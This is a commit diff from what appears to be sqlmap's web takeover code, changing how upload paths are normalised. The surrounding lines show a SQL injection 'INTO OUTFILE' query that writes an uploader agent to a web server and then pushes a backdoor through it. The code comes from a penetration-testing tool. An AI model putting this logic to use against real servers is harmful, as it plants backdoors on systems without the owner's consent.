|
31 | 31 | from lib.core.common import fileToStr |
32 | 32 | from lib.core.common import getDirs |
33 | 33 | from lib.core.common import getDocRoot |
| 34 | +from lib.core.common import normalizePath |
34 | 35 | from lib.core.common import readInput |
35 | 36 | from lib.core.convert import hexencode |
36 | 37 | from lib.core.data import conf |
@@ -96,7 +97,7 @@ def __webFileStreamUpload(self, stream, destFileName, directory): |
96 | 97 |
|
97 | 98 | elif self.webApi == "asp": |
98 | 99 | backdoorRemotePath = "%s/%s" % (directory, destFileName) |
99 | | - backdoorRemotePath = os.path.normpath(backdoorRemotePath) |
| 100 | + backdoorRemotePath = normalizePath(backdoorRemotePath) |
100 | 101 | backdoorContent = stream.read() |
101 | 102 | postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent) |
102 | 103 | page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr) |
@@ -164,16 +165,19 @@ def webInit(self): |
164 | 165 |
|
165 | 166 | for directory in directories: |
166 | 167 | # Upload the uploader agent |
167 | | - outFile = os.path.normpath("%s/%s" % (directory, uploaderName)) |
| 168 | + |
| 169 | + outFile = normalizePath("%s/%s" % (directory, uploaderName)) |
168 | 170 | uplQuery = uploaderContent.replace("WRITABLE_DIR", directory) |
169 | 171 | query = " LIMIT 1 INTO OUTFILE '%s' " % outFile |
170 | 172 | query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) |
171 | 173 | query = agent.prefixQuery(" %s" % query) |
172 | 174 | query = agent.postfixQuery(query) |
173 | 175 | payload = agent.payload(newValue=query) |
174 | 176 | page = Request.queryPage(payload) |
175 | | - |
176 | | - requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) |
| 177 | + |
| 178 | + requestDir = normalizePath(directory.replace(kb.docRoot, "/").replace("\\", "/")) |
| 179 | + if re.search("\A[A-Za-z]:", requestDir): |
| 180 | + requestDir = requestDir[2:] |
177 | 181 | self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) |
178 | 182 | self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName) |
179 | 183 | self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/") |
|
0 commit comments